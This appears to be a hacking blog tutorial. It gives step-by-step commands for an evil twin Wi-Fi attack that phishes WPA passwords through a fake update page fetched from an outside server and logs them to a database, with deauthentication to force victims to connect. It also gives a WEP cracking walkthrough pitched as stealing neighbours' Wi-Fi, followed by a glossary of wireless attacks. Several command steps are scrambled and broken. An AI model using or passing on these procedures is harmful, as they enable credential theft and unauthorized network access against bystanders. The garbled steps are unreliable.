What is Evil twin access point:-

An evil twin, in security, is a rogue wireless access point that act as a Wi-Fi access point so that an attacker can gather personal information without the user's knowledge.

To the user, the evil twin looks like a hot-spot with a strong signal; that's because the attacker has not only used the same network name and settings as the "good twin" he is impersonating, he has also physically positioned himself near the end-user so that his signal is likely to be the strongest within range.

If the end-user is tempted by the strong signal and connects manually to the evil twin to access the Internet, or if the user's computer automatically chooses that connection because it is running in promiscuous mode, the evil twin becomes the user's Internet access point, giving the attacker the ability to intercept sensitive data such as passwords.

Requirements:

1.  Linux(kali)

2. Wireless network adapter

3.  Internet connection to your system

4. Target Access point

1.Open the terminal and type apt-get install dhcp3-server as show below: 2.Open your terminal and type nano/etc/dhcpd.conf, you should have a blank file opened up on your terminal..                                                                             3.Now download the security update page which the client will see when they open up the web browser..
To do that,
Navigate to, cd /var/www in your terminal and do as follows:
rm index.html
wget http://hackthistv.com/eviltwin.zip
unzip eviltwin.zip
rm eviltwin.zip                                                                                                             4.Now type the following to start your apache server and mysql:
 /etc/init.d/apache2 start
/etc/init.d/mysql start                                                                                                                                                                                                                                                           Now the mysql is loaded now we have to create a database where we store the WPA/WPA2 password that the client enters into the security update page..
Type the follows:
       mysql -u root
       create database evil_twin;
       use evil_twin

   now leave the terminal                                                                                                         5.Now we need to find our local network adapter interface name and our local ip
Now open the new terminal and type:
ip route (take note of local ip n wired interface)
airmon-ng
airmon-ng start wlan0
clear                                                                                                                                    6. airodump-ng-oui-update

7. airodump-ng -M mon0 (take note of target essid,bssid and channel number)

airbase-ng -e [ESSID] -c [ch. #] -P mon0

NOTE: [ESSID]  is your targets ESSID and [ch. #] targets channel no.

8 Now open a new terminal and type as follows:

     ifconfig at0 192.168.1.129 netmask 255.255.255.128

9 type the following:

route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE

iptables –append FORWARD –in-interface at0 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp –dport 80 -j DNAT –to-destination [LOCALIP ADDRESS:80]

iptables -t nat -A POSTROUTING -j MASQUERADE

dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0

etc/init.d/isc-dhcp-server start

10 Now we need to force our clients to connect to our evil twin access point and to accomplish this we need to disconnect the clients by performing the de-authentication attack. 

echo [BSSID] > blacklist

NOTE:[BSSID] BSSID of the target

mdk3 mon0 d -b blacklist -c [CH.#]

11 Now go back to airbase terminal to check if any client has connected to your evil twin access point.. 

12 Now go over to the mysql terminal and type

 use evil_twin

select * from wpa_keys; {To view the password entered by the victim in our mysql database}

Using Backtrack 5 you can hack someone else WiFi passwords easily,and use Internet for free

                                              what  you need

1 -A compatible wireless adapter : A wireless adapter that's capable of packet injection

2 -BackTrack 5 - Installed or Live DVD,Both will work.

If you’re using Kali in VMware, then you might have  to     connect the card via the icon in the device menu. 

step1.Disconnect from all wireless networks, open a Terminal, and type airmon-ng

It will show all the wireless cards that support monitor  mode.

 now follow these steps and  Type the following commands

2. airmon-ng stop wifi0

3.ifconfig wifi0 down

4.macchanger --mac 00:11:22:33:44:66 wifi0

5.airmon-ng start wifi0

6.airodump-ng wifi0

It will start searching Wifi networks. Press Ctrl + C to stop.

Check the network with WEP.

 Now do one thing also cpoy all the BSSID, CH and ESSID  in notepad 

Note that if the same BSSID is available in the second part with STATION associated with it,

means you some one is accessing that network and our task will be little easier to hack.otherwise don't worry about it follow blew steps: 

7. airodump-ng -c (channel) -w (file name)

Replace

(channel) with the CH which u had already n

(file name) with any name of your choice

(bssid) with the BSSID which u had already note

--bssid (bssid) wifi0

Note it

Leave this console as it is and start new terminal

8. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:66 wifi0

If you don’t get Association Successful mesage then keep on trying until

you got success.

9. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:66 wifi0

Well if you don’t see ARP ACK and sent packets are not increasing or still 0 

than it means no 1 is

accessing that network.But don’t worry you go an optional step,

Leave this terminal as it is and start new k

10.aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF

konsole

message than keep on trying until you get success

got an optional step

terminal

–b (bssid) –h 00:11:22:33:44:66 wfi0

Press y and enter

Now you will see that ARP and ACK packets in 2nd console are increasing fast

Keep this terminal as it is and start 4th terminal.

11.aircrack-ng -b (bssid) (filename)-

Just wait and watch…..Backtrack will do rest of the work.

enjoy........................................................................................................................................

                                                             

           

                                                   Wireless Hacking

Wireless networks broadcast their packets using radio frequency or optical wavelengths. A modern laptop computer can listen in. Worse, an attacker can manufacture new packets on the fly and persuade wireless stations to accept his packets as legitimate.
The step by step procerdure in wireless hacking can be explained with help of different topics as follows:-

Stations and Access Points  A wireless network interface card (adapter) is a device, called a station, providing the network physical layer over a radio link to another station.
An access point (AP) is a station that provides frame distribution service to stations associated with it.
The AP itself is typically connected by wire to a LAN. Each AP has a 0 to 32 byte long Service Set Identifier (SSID) that is also commonly called a network name. The SSID is used to segment the airwaves for usage.

Wired Equivalent Privacy (WEP) It is a shared-secret key encryption system used to encrypt packets transmitted between a station and an AP. Wired Equivalent Privacy (WEP) is a security protocol, specified in the IEEE Wireless Fidelity (Wi-Fi) standard, 802.11b, that is designed to provide a wireless local area network (WLAN) with a level of security and privacy comparable to what is usually expected of a wired LAN.

 Wireless Network Sniffing :- Sniffing is eavesdropping on the network. A (packet) sniffer is a program that intercepts and decodes network traffic broadcast through a medium. It is easier to sniff wireless networks than wired ones. Sniffing can also help find the easy kill as in scanning for open access points that allow anyone to connect, or capturing the passwords used in a connection session that does not even use WEP, or in telnet, rlogin and ftp connections.

Passive Scanning :- Scanning is the act of sniffing by tuning to various radio channels of the devices. A passive network scanner instructs the wireless card to listen to each channel for a few messages. This does not reveal the presence of the scanner. An attacker can passively scan without transmitting at all.

 Detection of SSID :- The attacker can discover the SSID of a network usually by passive scanning because the SSID occurs in the following frame types: Beacon, Probe Requests, Probe Responses, Association Requests, and Reassociation Requests. Recall that management frames are always in the clear, even when WEP is enabled.
When the above methods fail, SSID discovery is done by active scanning

Collecting the MAC Addresses  The attackers collect legitimate MAC addresses of victim for use later in constructing spoofed frames. The source and destination MAC addresses are always in the clear in all the frames.

Collecting the Frames for Cracking WEP  The goal of an attacker is to discover the WEP shared-secret key. The attacker sniffs a large number of frames An example of a WEP cracking tool is AirSnort ( http://airsnort.shmoo.com ).

 Wireless Spoofing  There are well-known attack techniques known as spoofing in both wired and wireless networks. The attacker constructs frames by filling selected fields that contain addresses or identifiers with legitimate looking but non-existent values, or with values that belong to others. The attacker would have collected these legitimate values through sniffing.

 MAC Address Spoofing  The attacker generally desires to be hidden. But the probing activity injects frames that are observable by system administrators. The attacker fills the Sender MAC Address field of the injected frames with a spoofed value so that his equipment is not identified.

IP spoofing  Replacing the true IP address of the sender with a different address is known as IP spoofing. This is a necessary operation in many attacks.in other we can say that it just like ip masking

 Frame Spoofing  The attacker will inject frames that are valid but whose content is carefully spoofed.

 Wireless Network Probing  The attacker then sends artificially constructed packets to a target that trigger useful responses. This activity is known as probing or active scanning.

Trojan AP  An attacker sets up an AP so that the targeted station receives a stronger signal from it than what it receives from a legitimate AP.

 Denial of Service A denial of service (DoS) occurs when a system is not providing services to authorized clients because of resource exhaustion by unauthorized clients. In wireless networks, DoS attacks are difficult to prevent, difficult to stop. An on-going attack and the victim and its clients may not even detect the attacks. The duration of such DoS may range from milliseconds to hours. A DoS attack against an individual station enables session hijacking.


War Driving The act of driving around in a vehicle with a laptop computer, an antenna, and an 802.11 wireless LAN adapter to exploit existing wireless networks.
Regardless of the protocols, wireless networks will remain potentially insecure because an attacker can listen in without gaining physical access.